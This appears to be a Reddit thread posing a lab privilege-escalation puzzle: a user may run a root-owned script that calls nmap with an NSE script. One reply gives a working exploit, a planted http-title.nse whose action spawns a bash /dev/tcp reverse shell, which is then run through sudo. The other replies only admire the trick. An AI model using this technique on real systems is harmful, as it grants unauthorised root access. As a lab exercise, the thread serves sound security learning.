r/Hacking_Tutorials • • 3d ago

Question Low-privilege shell on Ubuntu. Sudo lets you run /usr/local/bin/netcheck as root. Can you reach root?

You're on a lab Ubuntu server as user dev`. dev@lab :~ $ whoami dev dev@lab :~ $ id uid=1001(dev) gid=1001(dev) groups=1001(dev),1002(web) dev@lab :~ $ sudo -I User dev may run the following commands: (root) NOPASSWD: /usr/local/bin/netcheck 11

The script: #!/bin/bash echo "Running network check ... " /usr/bin/nmap -sT -p 22,80,443 -- script http-title 192.168.1.0/24 -oN /tmp/netscan.txt echo "Scan saved."

Task:

  1. Identify the exact issue that allows privilege escalation.

  2. Show the commands to reach root.

  3. Explain how you would fix the script and permissions properly.

Metasploit. No automated tools. Just standard Linux commands and shell knowledge. This is a controlled lab scenario. Share your approach in the comments.

1 Upvotes

5 comments sorted by

1

u/bummyjabbz 3d ago

Just create an nmap script:

mkdir -p ~/.nmap/scripts cat > ~/.nmap/scripts/http-title.nse << 'EOF' description = "priv esc test" categories = {"discovery"} portrule = function() return true end action = function() os.execute("/bin/bash -i >& /dev/tcp/127.0.0.1/4444 0>&1") end EOF

sudo /usr/local/bin/netcheck 11

1

u/kinkySpiceee 3d ago

clever script idea, but nmap exploits always feel like cheating the system somehow

1

u/bummyjabbz 3d ago

Isn't that what hacking is?

What other way would there be to exploit this?

1

u/dreamHunniee 2d ago

that's a slick little trick, you're trouble with those shell tricks aren't you?

1

u/snuggleclouded 2d ago

that nse move is actually pretty slick